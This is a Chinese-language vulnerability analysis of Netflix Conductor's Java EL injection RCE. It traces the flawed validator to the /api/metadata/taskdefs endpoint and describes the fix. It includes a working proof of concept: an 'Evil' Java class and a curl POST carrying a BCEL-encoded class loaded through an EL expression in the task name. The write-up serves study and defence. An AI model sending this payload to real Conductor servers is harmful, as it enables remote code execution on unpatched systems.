漏洞通告
https://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2020-001.md
Netflix Conductor是 Netflix 开发的一款工作流编排的引擎,项目地址:https://github.com/Netflix/conductor ,本次漏洞成因在于自定义约束冲突时的错误信息支持了 Java EL 表达式,而且这部分错误信息是攻击者可控的,所以攻击者可以通过注入 Java EL 表达式进行任意代码执行。
漏洞分析
根据通告的漏洞描述,可以看到漏洞问题出在对 buildConstraintViolationWithTemplate
函数的不当使用上,和今年的另一个 CVE-2020-10199,Nexus Repository Manager RCE 的成因相同。
Description:
Netflix Conductor uses Java Bean Validation (JSR 380) custom constraint validators. When building custom constraint violation error messages, different types of interpolation are supported, including Java EL expressions. If an attacker can inject arbitrary data in the error message template being passed to ConstraintValidatorContext.buildConstraintViolationWithTemplate() argument, they will be able to run arbitrary Java code.
对该代码进行全局搜索,可以看到 TaskTimeoutConstraint.java
使用了该函数,且函数参数是利用 String.format(0)
生成的格式化字符串,格式化过程中存在用户可控的变量。
下一步继续关注 TaskTimeoutConstraint.java
在哪被使用,通过 Intellij 的引用搜索,定位到 common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskDef.java 文件:
可以看到 TaskTimeoutConstraint
注解到了 TaskDef
类上,那么下一步进行看 TaskDef
类会在哪里被使用,继续搜索全局引用,可以看到 jersey/src/main/java/com/netflix/conductor/server/resources/MetadataResource.java 会
把该类和路由 /api/metadata/taskdefs
绑定,即我们通过请求该路由,即可获得 TaskDef
对象。
/*省略注释*/
package com.netflix.conductor.server.resources;
import ...
/**
* @author Viren
*/
@Api(value = "/metadata", produces = MediaType.APPLICATION_JSON, consumes = MediaType.APPLICATION_JSON, tags = "Metadata Management")
@Path("/metadata")
@Produces({MediaType.APPLICATION_JSON})
@Consumes({MediaType.APPLICATION_JSON})
public class MetadataResource {
private final MetadataService metadataService;
@Inject
public MetadataResource(MetadataService metadataService) {
this.metadataService = metadataService;
}
@POST
@Path("/taskdefs")
@ApiOperation("Create new task definition(s)")
public void registerTaskDef(List<TaskDef> taskDefs) {
metadataService.registerTaskDef(taskDefs);
}
@PUT
@Path("/taskdefs")
@ApiOperation("Update an existing task")
public void registerTaskDef(TaskDef taskDef) {
metadataService.updateTaskDef(taskDef);
}
@GET
@Path("/taskdefs")
@ApiOperation("Gets all task definition")
@Consumes(MediaType.WILDCARD)
public List<TaskDef> getTaskDefs() {
return metadataService.getTaskDefs();
}
// 省略无关代码
}
阅读目录下的相关文档 docs/docs/labs/beginner.md,可以知道如何访问该 api:
curl -X POST \
http://localhost:8080/api/metadata/taskdefs \
-H 'Content-Type: application/json' \
-d '[
{
"name": "verify_if_idents_are_added",
"retryCount": 3,
"retryLogic": "FIXED",
"retryDelaySeconds": 10,
"timeoutSeconds": 300,
"timeoutPolicy": "TIME_OUT_WF",
"responseTimeoutSeconds": 180
},
{
"name": "add_idents",
"retryCount": 3,
"retryLogic": "FIXED",
"retryDelaySeconds": 10,
"timeoutSeconds": 300,
"timeoutPolicy": "TIME_OUT_WF",
"responseTimeoutSeconds": 180
}
]'
所以漏洞最终的利用逻辑如下:
- 通过 POST 请求访问 URL
/api/metadata/taskdefs
创建TaskDef
对象 - 由于我们构造的参数中的
timeoutSeconds
和responseTimeoutSeconds
满足了taskDef.getTimeoutSeconds() > 0
以及taskDef.getResponseTimeoutSeconds() > taskDef.getTimeoutSeconds()
这两个条件,TaskTimeoutValidator
校验失败,TaskDef
的name
属性作为错误信息的一部分通过buildConstraintViolationWithTemplate(0)
输出 - 由于
name
是我们构造好的 Java EL 表达式,所以最后该表达式会被执行,进而成功触发远程代码执行
漏洞利用
环境构建
# 下载源码
git clone https://github.com/Netflix/conductor.git
cd conductor
# 切换到存在漏洞的分支
git checkout v2.25.0
# 启动 docker
cd docker
docker-compose up -d
RCE
这里利用 com.sun.org.apache.bcel.internal.util.ClassLoader
加载我们构造好的恶意类的方式来触发远程执行。
其中恶意构造好的 java 类代码如下:
public class Evil {
public Evil() {
try {
Runtime.getRuntime().exec("touch /tmp/pwned");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
将恶意构造的 class 文件通过 bcel 编码后作为参数,构造出 EL 表达式,作为 name
属性的值:
curl --location --request POST 'http://localhost:8080/api/metadata/taskdefs' \
--header 'Content-Type: application/json' \
--data-raw '[{
"name": "${'\'' '\''.getClass().forName('\''com.sun.org.apache.bcel.internal.util.ClassLoader'\'').newInstance().loadClass('\''$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$cdN$c2$40$U$85$cf$94J$b1$W$a9$u$u$f8$af$LQ$T$d9$b8$c3$b81$b8$c2$9f$I$d1$85$hK$99$e0$m$b4M$j$d07r$cd$G$8d$L$l$c0$87R$ef$8c$89$98h$93$b93$f7$dcs$bf$9b$99$be$7f$bc$be$B$d8$c7$a6$8d$U$e6l$e4$90Oa$5e$ed$L$W$K6$sP$b4$b0ha$89$ny$m$C$n$P$Z$S$a5$edK$G$f3$ulq$86LM$E$fc$b4$dfk$f2$b8$e15$bb$a4$a4$eb$d2$f3$efN$bcH$e7$ba$bb$40$f6$9e$t$C$86$7c$e9$ba$d6$f1$G$5e$b9$eb$F$edr$5d$c6$ohW$U$ce$ae$87$fd$d8$e7$c7B$n$s$ab$D$d1$ddS$3e$H$93$b0$z$y$3bX$c1$w$83$x$c3$be$7f$bbV$96$bd$a8$i$3d$E$bc$e5$60$N$eb$M$b3cf$f5$d1$e7$91$Ua$e0$60$D6$NV$y$ea$i$3b$ce$9a$j$eeK$86$99$b1t$d1$P$a4$e8$d1d$bb$cd$e5O$92$xm$d7$fex$w$84$e4$8f$dcg$d8$w$fds$95_$d2y$i$fa$fc$fe$9e$g2$R$V$a5$7e$97F$ec$f9$i$eb$b0$e8$bd$d5g$80$a9$xR$9c$a2$ec$86r$83$f6$fc$ce3$d8$L$8clb$E$f3$ea$J$a9$da$ee$I$c9$n$b9L$a4$e1$d2o1$e0$90$af$88$a4f$98Z$b7te$86$b4$i$d1$d3Tqa$7cR$60$W$a6U$c8$984$cb$r$c7$f7$b4$C$z$a6$d6P$l$U0$a9$F$87bV$83g$bf$AU$b9$Sh$o$C$A$A'\'').newInstance().class}",
"ownerEmail": "test@example.org",
"retryCount": 3,
"timeoutSeconds": 1200,
"inputKeys": [
"sourceRequestId",
"qcElementType"
],
"outputKeys": [
"state",
"skipped",
"result"
],
"timeoutPolicy": "TIME_OUT_WF",
"retryLogic": "FIXED",
"retryDelaySeconds": 600,
"responseTimeoutSeconds": 3600,
"concurrentExecLimit": 100,
"rateLimitFrequencyInSeconds": 60,
"rateLimitPerFrequency": 50,
"isolationgroupId": "myIsolationGroupId"
}]'
漏洞修复
根据漏洞相关的 pull requests:https://github.com/Netflix/conductor/pull/1543 可以定位对该漏洞的修复:
开发者将 org.hibernate:hibernate-validator
替换为了 org.apache.bval:bval-jsr
,而后者在最新版本下不会解析 Java EL 表达式,所以也不会有 RCE 的危险。